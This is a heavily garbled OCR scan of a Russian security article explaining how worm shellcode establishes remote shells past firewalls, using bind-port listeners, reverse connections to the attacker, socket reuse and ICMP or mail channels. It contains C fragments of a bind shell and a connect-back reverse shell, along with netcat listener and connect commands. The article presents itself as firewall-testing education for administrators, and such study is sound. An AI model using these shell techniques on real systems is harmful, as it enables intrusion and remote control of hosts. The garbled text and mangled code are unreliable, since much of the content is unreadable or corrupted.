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NOBEI YEPE3 BPAHAMAYJP
NNC TEPMUHANU3ALUA BCEN NT

B HacTosiLen cTatbe paccmMaTpuBaoTCa PasindHble crocobbl 06Xo4a 6paHaMay3poB ¢ Lefbio
OPraHun3auny Ha atakyeMoM KOMIMbIOTEPE yAaneHHoro TepmMuHansHoro shell, paboraroLyero

nog onepaumnorHsivu cuctemamu UNIX n Windows 9x/NT. 34eck Bbl HalgeTe nepesoBbie Xakepckue
METOAMKN, CBOOOAHO MPOHNKAKOLLME YEpes 160, abCooTHO /1000 bpaHaMaysp He3aBUCUMO

OT €ro apxuTeKTypbl, CTEMEHU 3aLUNLLEHHOCTN U KOHGDUTypaummu, a Takxe cBOO60JHO PacrnpoCTPaHAEMbIV
nakeT IeMOHCTPALMOHHBIX YTUITAT, MPEAHA3HAYEHHbIN /151 TECTUPOBAHNS BALLIEro 6paxamayapa

Ha NpeAMET ero 3alynLYeHHOCTU (Wn Xe OTCYTCTBUE TakoBOW). CTaTbs OPUEHTUPOBAHA Ha CeLyNamcToB
110 UHGHOPMALMOHHON 6€30NaCHOCTN U CUCTEMHBIX afMUHUCTPATOPOB, 3HAKOMBbIX C SI3bIKOM Gy

W uMeroLYmnX OnbIT paboTsi ¢ Berkley-cokeTamu.
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MPOHWUKHYB Ha YA3BKMbIA KOMMbLIOTEP, FONI0Ba YepBA [OMKHA
yctaHoBuTb TCP/IP- (unu UDP-) coegnHEHWE C UCXOOHBIM Y3-
NOM W MOATAHYTH CBOE OCHOBHOE TENO (TakXe HasblBaemMoe
«XBOCTOM>). AHaNTIOrM4HON METOAUKMN NPUOEPXMBAOTCA U Xa-
Kepbl, 3acbinaloLlme Ha atakyeMmblii KOMMbOTEP AMBEPCUOH-
HbIA 3KCMJIOUT, CPbIBAIOLLMIA CTEK W YCTaHaBAMBAIOLLMIA yaa-
NEeHHbIN TepMUHAsbHbIN shell, B3auMogenCTBYOLLMIA C Y3/IOM
aTakyoLLlero nocpeacTaom Toro xe camoro TCP/IP, n B aTom
KOHTEKCTE MEXAY HEPBAMM W Xakepamu HET HUKaKoW MpuH-
LmnmanbHoOn pasHuubl (Hepeako yctaHoska backdoor ¢ no-
MOLLLbIO YepBEW M OCYLLECTBASETCS).

OpHako Ha nyTu YepBsi MOXET 0Ka3aTbCs HEAPYXESH06-
HO HaCTPOEHHLIA BpaHamayap, KOTopble cevac B MOAE U
6e3 HEro He 06XoAMTCS NPaKTUHECKM HM OfHA yBaxaroLas
cebs koprnopatuBHas ceTb. [la 4To Tam ceTb — 6GpaHamayap
1 Ha JOMALLHMX KOMMblOTepax yXe He peaKkocTs. Mexay Tem,
CIyX¥ O MOTYLLECTBE GpaHaMay3poB O4EHb CUIbHO NpeyBe-
NnYeHbl 1 B 60pbObl C YePBAMM OHU [0 yXxaca He3(hheKTuB-
Hbl. XOTWUTe y3HaTb novemy? Torga umTamte 3Ty CTaThio 4O
KoHua!

Y10 MOXET U YTO He MOXET OpaHamayap
BpangmMayap MOXET Harfyxo 3akpbITb 0601 NOPT, BbIGOPOY-
HO WM NMONHOCTBIO BIOKUPYS KaK BXOAsLLME, TaK U UCXOAs-
LME COEAMHEHMS, OQHAKO 3TOT MOPT HE MOXET ObITb MOPTOM
LEVACTBUTENbHO HYXHOW Ny6AMYHON CnyxXObl, OT KOTOPOW
HENb35 0TKa3aTbCs. Tak, Hanpumep, ecnu upMa MMeeT cob-
CTBEHHbI MOYTOBLIN CEPBEP, B 06513aTENIbHOM Nopsiake [oI-
XEH ObITb OTPLIT 25-1 SMTP-nopT (a MHaYe Kak npukaxeTe
nucbma nosyyqatb?). CoOTBETCTBEHHO Hanm4ue Be6-cepeepa
npegnonaraeT BO3MOXHOCTb NOAKMOHeHNs K 80-My nopTy 13
«BHELLHEro mMupar.

JonycTtum, YTO ofHa UNW HECKOMBKO TaKUX CIyX6 coaep-
XaT ya3BMMOCTU, OONYCKAKLLME BO3MOXHOCTb NEpPENosHe-
HusA Bybepa co BCeMM BbITEKAIOLLMMI OTCIoAA NOCNeLCTBUSA-
MUK (3axBaT ynpaBneHusi, HeCaHKUMOHWPOBaHHAsa aBTopu3a-
umanT. 4.). Torga HUKaKkow, faxe camblin NPOLABUHYThIA 6paH-
OMayap He CMOXeT npefoTBpaTUTb BTOPXKEHWE, MOCKOMbKY
nakeTbl C AMBEPCUOHHBIM shell-kogoM Ha CETEBOM YPOBHE HEO-
TAVYUMBI OT NAKETOB C JierasnbHbIMK AaHHbIMK. cknioyeHne
COCTaBNAET NOWUCK U OTCEYEHME OSOBbI BMOSHE KOHKPETHOIO
4epBs, CUrHaTypa KOTOpPOro XOpOLLO M3BECTHa 6paHamays-
py. OpHako HanoXeHve 3anfiaTku Ha Ysa3BUMLIA cepBuC 6y-
LeT HaMHoro 6onee ahdPEKTUBHLIM CPEACTBOM 60pLObI (Cy-
yai, Korga YepBb Onepexaet 3anfaTky, Mbl He paccmarpu-
BaeM, NOCKOJbKY Takue CyLLEeCTBYHOT TOSTbKO TEOPETUYECKM).
Kctatu roeops, 6paHgmaysp 1 cam no cebe npencraenser
[OBOMbHO COBNAa3HUTESbHBIN OOBEKT ANA ataku (HEKOTOopble
13 6paHaMay3poB UMENK NepenonHatoLmecs bydepa, fonyc-
KatoLLme 3axBaT yrnpaBneHus).

Ho Kak 6bl TaM HK 6bIN0, CPbIBY Bydepa ya3BUMON CIyX-
6bl 6paHaMayap HUKaK He NpensTCTByeT. EAMHCTBEHHOE, 4TO
OH MOXET cfenarb — 370 CBECTM KONMYECTBO MOTEHUMasb-
HbIX Oblp K pa3yMHOMY MWHWMYMY, 3aKpbiB NOPTbl BCEX
cnyx6, He TpebyloLLMX JOCTyna U3BHe. B 4acTHOCTH, YepBb
Love San, pacnpocTpaHsoWwmniics Yepe3 peaKo UCrosb3ye-
MbId 135-N0pT, AaBHO M He6e3yCneLLHO OTceKaeTcs 6paHa-
Mayapamu, CTOALLMMM Ha MarucTpanbHbIX UHTEPHET-KaHa-
nax, BnafenbLibl KOTOPbIX NOCHATANM, YTO JIyHLUe Cnerka or-
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paHWYMTb CBOMX MOSIb30BATENEN B NpaBax, Yem HECTU MO-
panbHYIO OTBETCTBEHHOCTbL 3a NoAnepXaHne XusHeneaTenb-
HOCTV BCAKOW 3apasbl. OpHako B OTHOLLEHMM YyepseWn, pac-

NPOCTpaHALLKMXCA Yepe3 CTaHOapTHbIE NOPTbl NONYNAPHbIX
CeTeBbIX CJ'Iy)K6, 3TOT Npuem He cpabaTbiBaeT, U 6paH,u,May-
3p 6ecnpenaTCTBEHHO nponyckaeT ronosy 4epes BHYTPb KOP-
nopaTUBHOM CETW.
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PucyHok 1. PacmpefeneHue MHTEHCMBHOCTM aTak Ha paSIMYHEE

[IOPTH IIO0 permMoHaMm

Ho 3a6pocuts shell-kog Ha BpaXecKyto TEpPUTOPUIO — 3TO
TONbKO MoMoBWHa fena. Kak MuHuMyM elle Tpebyetcsa npo-
TalWWTb YEepe3 BCE MEXCETEBbIE 3aCNIOHbI OCHOBHOE TENO
4epBs (TO €CTb XBOCT), @ KaK MakCMMyM — YCTaHOBWUTb TEP-
MuHanbHbIM backdoor shell, npegocTaBnsOWMA aTakytoLLe-
MY BO3MOXHOCTb YOaneHHOro ynpasfieHUs 3axXxBa4eHHON CU-
CcTEeMON.

MoxeT nnm 6panamaysp 3ToMy NpoTUBOCTOATL? Ecnn OH
HaxoguTCcA Ha OQHOM Yy3ne ¢ atakyembiM cepepom U shell-
KOZ WCMONMHSAETCSH C HAMBbICLLMMW NPUBUNETUSMM, TO aTaky-
IOLLMIA MOXET fienatb ¢ 6paHaMay3poM BCe, YTO eMy TOMbKO
3abnaropaccyamTtcs, B TOM YMCHE U U3MEHSATb €ro KOHGUry-
paumio Ha 60nee 4EMOKPATUYECKYH. ITOT Cnyyvai HAaCTONbKO
MPOCT, YTO Ero Aaxe HEMHTEPECHO paccMaTpuBaTth. [laBaiTe
NyYLLUE NCXOQMTb U3 TOro, HTO 6paHaMayap 1 atakyeMmbilii cep-
BUC PacrnonioXeHbl Ha pasnnyHbIX y3nax, npudem cam 6paHa-
May3p NpaBUibHO CKOH(MIYPUPOBAH W JIMLLEH Kakux Obl TO
HU 6bINO YA3BUMOCTEN.

Camoe npocToe (M camoe eCTECTBEHHOE) — MOPY4UTb
shell-kofly OTKpbITb HA aTaKOBaHHOM Y3fe HOBbI, 3aBefo-
MO HMKEM HE MCMONb30BaHHbIV NOPT (Hanpumep, NopT 666)
W TEPMENNBO XAATb MOAKIIOYEHWIA C yAANEHHOro y3na, ocy-
LLECTBNAOLLErO 3aChbINIKY OCHOBHOIO BUPYCHOrO KoAaa.

MpaBpa, ecnu agMUHUCTPATOP CUMCTEMbI HE HOBMYOK,
BCE BXOAALLME COEAMHEHMS Ha BCe HenybfiMYHble MOpThl
6ynyT 6€3XanocTHo oTcekatbecs GpaHamayapom. OpHako
aTakylLWniA MOXET CXUTPUTb U NEPEHECTU CEPBEPHYIO
4acTb YEPBS Ha YAANEHHbIN y3es, OXKnaaloLwui NogKoYe-
HUI co cTopoHbl shell-kopa. Vicxopswimne coeguHeHns 6o-
KMpYIOTCS Janeko He Ha Bcex 6paHamMayapax, XOTs B MPuWH-
LMne Takas BOSMOXHOCTb Yy agMuHucTpaTopa ecTb. Ho rpa-
MOTHO CMPOEKTMPOBAHHbIA YEPBb HE MOXET MO3BONUTb
cebe 3aknagbiBaThCs HA Pa3rMbaancTBO M NONYCTUTENb-
CTBO agMuHuCTpaTopoB. BmecTo yctaHoBku HoBoro TCP/
IP-coeIMHEHUS OH JOSIXEH YMETb NONb30BaTbCA YXe Cy-
LLECTBYIOLLMM — TEM, HEpe3 KOTOPOE M Bbina ocyLlecTBhe-
Ha 3acblfika ronosbl Yepss. B aTom cnyyae 6paHgmaysp
6yneT 6eccuneH 4To-nnbo caenatb, T.K. C ero TOYKK 3pe-
HWa BCe 6ydeT BbIrNALeTh BNosHe HopManbHo. OTKyaa xe
emMy, 6efonare, 3HaTb, 4TO BMosHE 6e306MaHOE C BMaY U
neranibHbIM 06pa3om yctaHoBneHHoe TCP/IP-coeanHeHmne

67



6esonacHocTb

obpabaTbiBaeT OTHIOAb HE CEPBEP, @ HENOCPEACTBEHHO Cam
shell-kog, nocenuBLLMiiCA B agpecHOM NPOCTPaHCTBE MoC-
nepHero.

CyLLecTBYET HECKONBKO NyTeN 3axBaTa paHee YCTaHOB-
neHHoro TCP/IP-coeanHeHus (eCnu KTO paHbLle YnuTan Mow
cTaTtbu, AatMpoBaHHble rogom sgak 1998, To Tam A Hasbl-
Ban 370 «nepejayeit faHHbIX B NOTOKE YXe CyLUeCTBYoLLe-
ro TCP/IP-coennHeHWs1», HO 3TOT TEPMUH HE MPUXWNCSH).
NepBoe 1 camoe rnynoe — obpaTUTbCA K NEPEMEHHON OeCkK-
punTopa coketa no YMKCMPOBaHHLIM agpecam, cneumduy-
HbIM ON151 QAHHOrO cepBepa, KOTOpble aTakylLwmnin MoOXeT
nony4nTb NyTEM ero amdaccembnupoBanus. Ho Takom cno-
c06 He BbIAEPXMBAET HUKAKOW KPUTWKM, 30ECb OH He pac-
cMaTpuBaeTca (TEeM He MeHee, 3HaTb O ero CyLLecTBOBaHWUM
6yneT BCe-Taku NOSIE3HO).

YX ny4we npuberHyTb K rpyboit cune, nepebupas Bce
BO3MOXHbIE OECKPUNTOPbl COKETOB OAMH 3a OPYrUM U Tem
VAW MHBIM 06Pa30M ONPEeREnss, Kakon U3 HUX 3aBedyeT «Ha-
wum» TCP/IP-coepnHeHneM. MocKobKy B OnepaLmoHHbIX
cuctemax cemenctea UNIX n Windows 9x/NT peckpuntopsl
COKETOB NPEACTaBNAT COO0M BMOSHE YNOPAAOYEHHbIE U He-
60/bLUME NO BESIMYUHE LENOYUCTIEHHBIE 3HAYEHNS (06bIHHO
3aKsYeHHble B MHTepBane ot 0 go 255), ux nepebop 3aii-
MeT COBCEM HEMHOro BpemeHu. Kak BapuaHT MOXHO BOC-
MoNb30BaTbCs MOBTOPHLIM MPUMEHEHNEM afpecoB, caenas
re-bind Ha OTKpPbITbIN YA3BUMBIM CepBepoM nopT. Toraa Bce
nocnegytowme NoaKYEHNs K aTakoBaHHOMY y3ny 6yayT
o6pabatbiBaTbCs OTHIOAb HE NPEXHWM Bragenblem nopta,
a HernocpencTBeHHO camuM shell-kogom (Hennoxoe cpeacTeo
nepexearta cekpeTHoro Tpaduka, a?). HakoHeu, shell-kog mo-
XET NPOCTO «MPUOUTL>» YA3BUMbIN NPOLLECC U OTKPbITL My6-
NNYHBIA NOPT 3aHOBO.

Kak BapuaHT — 4epBb MOXET YMEPTBUTbL aTakyemblin Npo-
Llecc, aBTOMaTUYECKN 0CBOBOXJAs BCE OTPbITbIE UM NOPThI U
LeckpunTopbl. Torga NOBTOPHOE OTKPbITHE YA3BUMOro nopTa
HE BbI3OBET HUKAKWUX NMPOTECTOB CO CTOPOHbI OMNepaLMOHHO
cuctembl. MeHee arpeccuBHbIN YepBb He ByOeT HUYero 3ax-
BaTbiBaTb, HUKOTO YOMBaTh U BOOBLLE HYTO-NM60 TporaTb. OH
MPOCTO MepeBedeT CMCTEMY B HEPA3OOPUMBbLIN PEXUM, NPO-
CIyLUMBAsA BECb MPOXOAALLMIA TpauK, C KOTOPbIM aTaKyoLLui
LOSKEH nepejaTtb OCTaBLUMIACA XBOCT.

N Ha 3akycky: ecnu ICMP-npoTokon xoTsd 6bl 4aCcTUYHO
paspeLleH (4To6bl NONb30BaTeNIM BHELLUHEW CETU He JocTa-
BanM agMm1HUCTpaTopa riynbiMy BOrpocamu, NoYemy ymupaeTt
ping), To shell-kod MOXeT 3anpocTo 06epHYTb CBOW XBOCT
ICMP-naketamn! B camoM KpaviHem cny4ae 4epBb MOXET
nocnatb CBOE TeNI0 U B 0ObIY4HOM 3NEKTPOHHOM NUCbME (KO-
HEYHO, NPW YCIOBUU, YTO OH CMOXET 3aperncTpuposatb Ha
MOYTOBOM CEpBEPE HOBbIN ALLMK UK NOXUTUTL NApPON OFHO-
rO UMW HECKOMNBKMX NOMb30BaTESNEN, YTO Npy Hannymm sniffer
He ABNSETCA NPo6IeMoit).

Taknum 06pa3oM, HUKaKOW, faxe camblii COBEPLLEHHbIN U
MPaBWbHO CKOHOUIYPUPOBaHHLIA 6paHaMaysp He 3almTuT
BaLly ceTb (M yX TeM 60nee — JOMALUHWUA KOMMbIOTEP) HU OT
YyepBen, HY OT ONbITHLIX XakepoB. 3T0, pasymeeTcs, He 060-
3Ha4aeT, YTo 6paHamMayap CoBEPLUEHHO H6ecnoneseH, Ho yoe-
OWUTENbHO JOKa3blBaeT TOT (DaKT, 4To npuobpeTeHne 6paHa-
Mayapa eLLe He OTMEHSIET HE06XOOUMOCTb PerynsapHoii ycTa-
HOBKM CBEXMWX 3anarok.

YcranaBnueaem coefguHeHue
C yAaNeHHbIM y3JI0M
Ceityac Mbl pacCMOTPUM NATb Hanbosiee NONYNSPHbIX CNOCO-
60B ycTaHoBku TCP/IP-coenHeHMs ¢ aTakyembIM y31oM, ABa
13 KOTOPbLIX NErko 6noKMpytoTca 6paHaMayapamm, a ocTaB-
LUMeCA TP NPeACTaBnAOT COB0N CEPbEe3HYI0 U NPaKTUHECKN
HepaspeLLMMyto npo6emy.

NS oCcyLLECTBNEHNS BCEX OMMCHIBAEMbIX B CTATbE JKCMeE-
PUMEHTOB BaM MOHaLo6MTCS:

B ytunuTa netcat, KOTOpYtO NIErKo HaMTH B IHTEpHETE 1 KO-
TOpas y Kaxaoro agMuHMCTpaTopa Bcerga fosmkHa ObiTb
Mog, PyKoiA;

B nokanbHas ceTb, COCTOSILLANA KaK MUHUMYM U3 OFHOIO KOM-
nbloTEPA;

B no6oi cMnaTUYHbLIA Bam GpaHamayap;

B onepaumoHHas cuctema Tna Windows 2000 wunum BbilLie
(BCe onucbiBaeEMble TEXHONOMMW MPEKpacHO paboTaloT K
Ha UNIX, HO ncxopgHble TEKCTbl AEMOHCTPALMOHHbLIX NpU-
MEpPOB OPMEHTUPOBaHbI MMEHHO Ha Windows).

Nnes oTKpbITb HA aTakOBaHHOM CEPBEPE HOBGLIV MOPT MOXET
«OCEHUTb» Pa3Be YTO HAYMHAIOLLEro Xakepa, He UMELOLLLEro
peanbHOro onbiTa NPOrpaMMMpoBaHNsi COKETOB U He mpep-
CTaBMNAOLLIEro, HACKOMbKO 3TOT CMOCOO HEeXWU3HecnocobeH u
ysi3BUM. TeM HEe MEHee MHOrMe YepBy UMEHHO Tak U pacrnpo-
CTPaHATCS, MO3TOMY MMEET CMbIC/T NOrOBOPUTL 06 3TOM
nonoapo6Hee.

Attack vulnerable service
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PucyHok 2. Araxywoumpit sacknaer shell-kof Ha ysIBBUMHIA CepBep,
rpe shell-kopm u OTKpHBaeT HOBEIf mOpPT N, K KOTOpOMy BmOChen-
CTBMM MOAKINYAETCS aTaKyoUpif, eciy, KOHEeYHO, Ha ero myTu He
BCTpeTUTCST OpaHmMaysp

MporpammHas peanusauus cepeepHon vactu shell-kopa
COBEpPLUEHHO TpUBMANbHA U B CBOEM KaHOHWYECKOM BUAE
COCTOUT W3 CrefytoLen NoCcnefoBaTelbHOCTU CUCTEMHBIX
BbI30BOB: socket — bind — listen — accept, opraHM3oBaHHbIX
NPUGAN3NTENBHO CRedytowmm 06pa3oMm:

JucTuer 1. KmoueBoit ¢parmMeHT shell-kofia, OTKpHBaKmETo
Ha aTaKkyeMoM CepBepe HOBHI IOPT.

// mopT, KOTOpHI SKCIIOMT ByAeT ClymaTs

#define HACKERS PORT

// war 1: cosmaeM coxer

if ((lsocket = socket(AF INET, SOCK STREAM, 0)) < 0) return -1;

// wmar 2: cBsisHBaeM COKET C JIOKAJBHEHM afpecoM

laddr.sin_family = AF_INET;
laddr.sin_port = htons (HACKERS_PORT) ;
laddr.sin addr.s addr = INADDR ANY;

if (bind(Isocket, (struct sockaddr*) &laddr, J
sizeof (laddr))) return -1;

// war 3: cnymaem coxer

if (listen(lsocket, 0x100)) return -1; J
printf("wait for connection...\n");

CUCTEMELIIaAMUHNCTPATOD



// war 4: oBpabaTHBaeM BXOZSUME MNORKIIOYECHNUS
csocket = accept(lsocket, (struct sockaddr *) J
&caddr, é&caddr size));

;shell(csocket[O], MAX BUF SIZE); // ymanenmsut shell

// war 5: nogummaem Ba coBoit cirems
closesocket (1socket) ;

IMOMHbIA UCXOAHBIA TEKCT JAHHOrO NpUMepa COOepPXMUTCs
B ¢havine bind.c, npunaraemoro K ctatbe. Hackopo oTkoMmu-
N1poBaB ero (MM B3sB YXe OTKOMNUIMPOBaHHbIN bind.exe),
3anycTuM ero Ha y3ane, YC/IOBHO Ha3bIBAEMOM «Y3JI0M-XepT-
BOW», UMW «aTaKyeMbIM y310oM». 3Ta cTagma 6yaeT COOTBET-
cTBOBaTh 3achblike shell-koga, nepenonHsoLwero 6ygep u
nepexBaTbiBaloLLero ynpasseHne (npeobpa3oBaHUeM WUC-
XO[HOro TEKCTa B ABOWYHbIA KOA rONIOBbI YePBS BOMHCTBEHHO
HaCTPOEHHBLIM YMTATENAM NPUOAETCS 3aHMMATbCA CaMOCTOS-
TENbHO, a 3[4EeCb BaM HE TOT KOCWMHYC, 3Ha4eHUs KOTOPOro
MOryT AOCTUraTb YeTbIpPex).

Tenepb, NEPEMECTUBLUMCL HA aTaKyoLWiA y3en, Habepu-
Te B KOMaHOHOWM CTPOKe:

netcat "agpec arakyemoro" 666

WK, ecnn y Bac HeT yTunuTtel netcat:

telnet "ampec arTakyeMoro" 666

Ecnu Bce npowno ycnewHo, B okHe telnet-knuexTa no-
SBUTCA CTaHOAPTHOE NpurnalleHne KOMaHOHOro MHTeprnpe-
TaTopa (Mo ymonyaHuio ato cmd.exe), 1 Bbl Nony4uTe 6onee
WNK MeHee NOJHOLEHHbIV shell, no3BonstoLWwmniA 3anyckatb Ha
atakyeMoMm y3fie pasnnyHble KOHCOSbHbIE MPOrpaMMmbl.

Boosonb Haurpaswuck ¢ yaaneHHsIM shell (nogpo6HbIn
pas3roBOp 0 KOTOPOM HaC eLLe XOET Bnepean), yéeauTecs, YTo:

B yTunuTa netstat, 3anyLeHHas ¢ KNto4oM «-a» (Mnu Ntobas
apyrast ytunuta, nogobHas en), «BUAUT» OTKPOBEHHO fle-
BbI NOPT, OTKPbITbINA shell-kogom;

B npy HanM4YMK NPaBMBLHO HACTPOEHHOTO GpaHaMay3pa no-
MbITKX NOOKIIOUMTLCSA K Shell-kogy M3BHE CEeTU He yBeHYa-
I0TCS ycnexoM — 6paHaMayap He TONbKO GNoKUpYeT BXO-
AfLLUMe COeAMHEHMS Ha HeCcTaHAAaPTHbIN NOPT, HO 1 aBTo-
maTuyecku onpegenseT IP-agpec atakyloLero (KOHe4Ho,
npy YCNOBWUKM, YTO TOT HE CKPbLIT 38 aHOHUMHbBIM Proxy).
lNocne 3Toro ocTaeTesa NULLbL BAOMUTLCA K Xakepy Ha AoM
W, Bblpaxascb 06pa3HbIM A3bIkOM, HafgaBaTb eMy Mo
ylwam — 4To6bl 60MIbLLE HE XaKepCTBOBa.

8 Buffer Overflow

Attack vulnerable service
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PucyHok 3. Arakyioupf BachmaeT shell-kon Ha ysISBBUMEII CepBep,
shell-xon oTkpiHBaeT HOBHN NOPT N, HO BXOfslee MOAJKIOYEHME Ha
nopr N 6nokupyercss 6paHAMay>poM M BaBepUMTL aTaky He yAaeTrcs

Bnpoyem, B XM3HM BCE COBCEM He Tak, Kak B TEOPUM.
[laneko He Kaxpabl agMUHUCTPATOP 6J'IOKVIpyeT BCe Heuc-
noJib3yemble NOPThl, N YX TEM 6ornee — npoBepsieT COOTBET-
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CTBWE MOPTOB W Y3/10B NOKasbHOWM ceTu. [onyctum, noyTo-
BbIli CEpPBEpP, CEPBEP HOBOCTEN U BEG-CEPBEP PACMONOXEHbI
Ha pasnuyHbIX y3nax (a Yaile Bcero Tak u 6biaeT). Torga
Ha 6paHaMayape OOMKHbI ObITb OTKPbITHI 25-1, 80-11 1 119-11
nopTbl. Mpeanonoxum, 4To Ha Be6-cepBepe obHapyXunach
YS3BMMOCTb U aTakymoLwmi ero shell-kog oTKpbIn Ans cBomx
HyXZ 25-1 nopT. He6pexHO HaCTPOEHHbIM 6paHamayap npo-
nyctut Bce TCP/IP-nakeTbl, HanpaBneHHble Ha 25-i NopT,
HE3aBWCKMO OT TOr0, KAKOMY MMEHHO JI0KanbHOMY Y311y OHU
a[lpecoBaHsbI.

MpoBepbTe, NPaBUIBLHO NN CKOH(MIypUpOBaH BaLl 6paH-
[Mayap, U BHECUTE COOTBETCTBYIOLLME U3MEHEHMSA B €T0 Ha-
CTPOViKW, €CNY 3TO BAPYT OKAXKETCH HE TaK.

Xakepbl cpeqHel pyku, noTvpasi NoKpacHeBLUME Mocne noc-
nefHeit TPEMKM YLLK, MPUMEHSIIOT AraMeTparibHO NMPOTUBONO-
NOXHbIA NPUEM, MEHSISi CEPBEPHBI 1 KIIMEHTCKMIA KO, YepBs
mMecTamu. Tenepb YXe He XBOCT YepBsi CTY4YMTCA K ero rono-
Be, a rofioBa K XBoCTY. BONbLUMHCTBO 6paHaMay3pOB [OBOSb-
HO TNOSINIBHO OTHOCATCS K UCXOASALLMM COeauHEHNaM, 6ecrpe-
NATCTBEHHO MpoMycKas UX Yepes CBOW CTEHbI, U LLAHChI aTa-
KYIOLLIEro Ha yCreX CYLLECTBEHHO MOBbILIAIOTCS.

. " Buffer Overflow
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PUCYHOK 4. ATakywuMy OTKPHBAaeT Ha CBOEM y3jle HOBHM NOpT N,
sacunaer shell-xom Ha yasBuMENZ cepBep, oTkygsa shell-xop
YCTaHaBIMBaEeT C Yy3JIOM aTaKyKIEero MCXOJsiee COeIMHEHMe, OGBHYHO
He OnokmpyeMoe O6paHAMay3poM

OpHOBPEMEHHO C 3TVM YMPOLLIAeTCs 1 NporpaMmHas pea-
Nn3aums rofloBbl HepBs, KNUEHTCKMIA KOS KOTOPOro CoKpalla-
eTca Bcero 0o AByx dyHKuwmin: socket n connect, npasga IP-
afpec atakyoLlero npuxogutes xectko (hardcoded) npoLum-
BaTb BHYTPW YepBs. TO eCTb YepBb JOMKEH YMETb AMHAMMU-
4ecku M3meHaTb csom shell-kod, a 3To (C y4eTom Tpebosa-
HUA, npegbsaensemblx K shell-kody) He Takas yX v npocTas
3apaya.

JucTvHr 2. KmoueBoit ¢parMeHT shell-kogma, yCTaHaBIMBAaKWMIA
MCXOfsALee COoeAuHeHne

#define HACKERS_PORT 666
#define HACKERS IP "127.0.0.1"

7/ mar 1: cospaeM cokeT
if ((csocket = socket (AF INET, SOCK STREAM, 0)) < 0) return -1;

// war 2: ycraHaBlIMBaeM COeIMHEHMe
caddr.sin_family = AF INET;
caddr.sin port = htons (HACKERS PORT) ;
caddr.sin_addr.s_addr = inet addr (HACKERS IP);
if (connect(csocket, (struct sockaddr*)é&caddr,

sizeof (caddr))) return -1;

// war 3: obMeHMBaeMCS HAHHHMM C COKETOM
sshell (csocket, MAX BUF SIZE );

OTKOMI'IVIJ'IMpOBaB UCXOAHbIA TEKCT AEMOHCTPALMOHHOIo
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npumepa (MWuTe ero B paine reverse.c), BoINOHWATE Ha y3re
aTaKyHLLEro creayowyto komaxay:

netcat -1 -p 666

a Ha aTakyemoM y3Jie 3anyCTUTe reverse.exe (BbINONHALLWIA
ponb shell-koga) v BBeguTe IP-agpec atakyloLero yana c Kna-
BMatypbl (B peansHoM shell-koae, Kak yxe roBopusioch BblLLe,
3TOT afpec nepenaeTca BMeCTe C rofioBOM YepBs).

M BHOBb TEpMUHAN xakepa NpeBpaTUTCA B yAaneHHbIA
shell, no3sonstoLLmMiA Aenathb € yI3BUMbIM Y3J10M BCE YTO yrof-
HO. MpnyeMm, ecniv B OTHOLLEHWUWN «MNOATArMBaHWUS» BUPYCHOIO
XBOCTa BCE 6blI0 NPefenbHO SCHO (rofloBa YePBS yCTaHaB-
nMBaEeT ¢ ncxopHsiM y3nom TCP/IP-coeaunHeHne, ckadmBaeT
OCHOBHOE TENO YepBsi, pa3pbiBas COEAMHEHNE NOCNe 3aBep-
LLIEHWs1 3TOW onepaLmm), TO OCYLLECTBUTb «MHBEPCHBIN» [OC-
Tyn K backdoor 3Ha4MTENbHO CNOXHEE, MOCKONbKY UHMLMA-
TOPOM COEQMHEHMUS SBNAETCS YXKE HE XaKep, a cam yhaneH-
HbI shell-koa. TeopeTnyeckn NOCNeaHUA MOXHO 3anporpam-
MMpOBaTb TaK, YTOObI OH NEPUOANYECKM CTY4asCs Ha Xakep-
CKMIA y3€N, MbITasiCb YCTAHOBUTb COEANHEHNE KaX bl Hac nm
AaXe Kaxable HECKONMbKO CEKYHA, OfHAaKO 3TO OydeT Chuil-
KOM 3aMETHO, M K TOMY Xe aTakytoLlemMy notpedyeTcs nocTo-
fIHHbIN IP, KOTOPLIM HE Tak-TO NPOCTO 3aBNafeTb aHOHUMHO.

Reverse connect
blocked by
firewall

PucyHok 5. ATakywoupif OTKPHBAaeT Ha CBOeM ysje HOBEN mopT N,
sacunaer shell-xom Ha yssBuMENI cepBep, oTkygsa shell-xonm
YCTaHaBIMBAeT C YBJIOM aTaKylWLEro MCXOAsliee COeAMHeHne, 6es-
KaJOCTHO GIOKMpYyeMOe NpPaBMUIBHO HAaCTPOEHHEHM GpaHAMay3poM

Ecnu yaseumbin y3en Haxogutca B DMZ-3oHe («gemunu-
Tapu30BaHHOW» 30HE — BblAE/IEHHOM CErMeHTe CETH, B KOTO-
POM NoKanbHasl CETb NEPECEKAETCS C arPECCUBHON BHELLHEN
Cpenow, roe no O6bIKHOBEHMIO M YCTaHABNMBAKTCA Ny6mny-
Hble CEPBEPbI), aAMUHUCTPATOP MOXET C YMCTON COBECTbIO
3a6/10KMpoBaTh BCE UCXOASLLME COEAMHEHMUS, NepeKpbIBas
YEPBIO «KMCIOPOL>» Y OQHOBPEMEHHO C 3TVUM 6ECTPENSTCTBEH-
HO Nponyckas nokasbHbIX Nosib3oBatenen B IHTepHeT. MNpas-
[a, ABEPb AEMUNMTAPU30BAHHON 30HbI NPAKTUYECKM HUKOT-
[a He 3anvpaeTcs Haryxo 1 B Heli Bceraa 0CTaeTcst KPpOXoT-
Hasa LWernka, npegHasHadYeHHas ans otnpasku noyTbl, DNS-
3anpocoB 1 T. [., 0OHAKO NPaBWSIbHO CKOHGMIypuUpOBaHHbIN
fpaHOoMayap HW 3a 4TO He BbINYCTUT MakeT, CTy4alimics B
25-1 nopT, HO oTnpaeneHHbIn He ¢ SMTP-, a ¢ Be6-cepeepal

Ho naxe ecnu ucxogsaiime coeguHeHNUst U He 6I0KMPYIOT-
ca 6paHamayapoM, HepBb BCE PaBHO HE CMOXET 3hpeKTHB-
HO pacnpoCcTpaHATLCA, Bedb OGpaHamayap aTakytoLlero yana
HaBpPSA I NPONYCTUT BXOAALLEE COEAMHEHWE, NO3TOMY Aaflb-
LLIe NEPBOro MOKOJIEHNsI MPOLECC pa3MHOXEHUs1 He NonaeT. B
N6OM CryHae YCTaHOBKA HOBbIX COEANHEHMWIA HA HECTaHAap-
THblE NOPThI (2 Y TeM Bonee NEPUONYECKME «MOMON3HOBE-
HUS» B CTOPOHY Yy3/ia xakepa) Tak unm nHade otobpaxaetcs
B Jlorax, 1 K xakepy B CPO4HOM MOpPSAKE OTnpasnseTcs 6pu-
raga «kaparenen» 6bICTPOrO pearmpoBaHus.

Attacker Shellcode creates

a new socket

Server

70

Ecnu B npouecce onepaTMBHO-BOCNMTATENTbHOW paboThl BMe-
CTE C yLUamm Xakepy He OTOPBYT €eLLE KOE-4TO, A0 Hero, Mo-
